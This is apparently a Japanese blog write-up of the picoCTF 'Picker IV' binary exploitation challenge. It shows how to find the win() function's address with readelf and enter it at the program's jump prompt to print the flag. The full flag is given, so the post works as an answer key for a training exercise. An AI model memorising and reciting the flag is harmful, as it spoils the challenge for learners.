0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoGym Exclusive writeup Picker IV

Posted at

Picker IV (Binary Exploitation)

Can you figure out how this program works to get the flag? Connect to the program with netcat: $ nc saturn.picoctf.net 51785 The program's source code can be downloaded here. The binary can be downloaded here.

添付ファイル
・picker-IV.c
・picker-IV

とりあえず、nc saturn.picoctf.net 51785を実行してみる。

> nc saturn.picoctf.net 51785
Enter the address in hex to jump to, excluding '0x': ffffff
You input 0xffffff
Segfault triggered! Exiting.

フラグが取れそうな関数のアドレスを指定すればフラグが出てきそうだ。
ソースコードを見てみる。

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

winを見つけた。readelf -aでアドレスを確認すると、

63: 000000000040129e   150 FUNC    GLOBAL DEFAULT   15 win

とあった。
もう一度、実行してみて40129eを入力してみる。

> nc saturn.picoctf.net 51785
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}

フラグが得られた。

picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?